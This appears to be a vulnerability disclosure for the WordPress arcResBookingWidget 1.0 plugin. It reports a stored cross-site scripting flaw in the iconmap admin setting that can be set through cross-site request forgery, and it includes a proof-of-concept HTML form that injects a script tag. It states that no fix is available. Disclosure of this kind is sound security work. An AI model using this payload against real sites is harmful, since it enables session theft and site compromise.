WordPress arcResBookingWidget 1.0 Cross Site Scripting Vulnerability

Title: WordPress 'arcResBookingWidget' Plugin 
Version: 1.0
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-16
Download: 
- https://wordpress.org/plugins/arcres-booking-engine/
- https://plugins.svn.wordpress.org/arcres-booking-engine/
Notified Vendor/WordPress: 2015-06-21
==========================================================

## Plugin description
==========================================================
Embeds the arcRes Booking Widget on a travel supplier website and ensures it is displayed for all arcRes-driven referrals.

## XSS/CSRF vulnerability
==========================================================
The iconmap admin setting is vulnerable to stored XSS and can be set using CSRF.

PoC:
Login as admin and submit the following form

<form method="POST" action="[URL]/wp-admin/options-general.php?page=arcRes-BookingWidget-options"> 
   <input type="text" name="formAction" value="Y"><br />
   <input type="text" name="arcRes_BookingWidget_option_iconmap" value='100000"><script>alert(1)</script>'><br />
   <input type="text" name="arcRes_BookingWidget_option_layout" value="vertical"><br />
   <input type="text" name="arcRes_BookingWidget_option_arcResReferralOnly" value="0"><br />
   <input type="text" name="arcRes_BookingWidget_option_cookieType" value="permanent"><br />
   <input type="text" name="Submit" value="Save Options"><br />
  <input type="submit">
</form>


## Solution
==========================================================
No fix available

==========================================================
XSS vulnerability found using Eir; an early stage static vulnerability scanner for PHP applications.

#  0day.today [2018-02-17]  #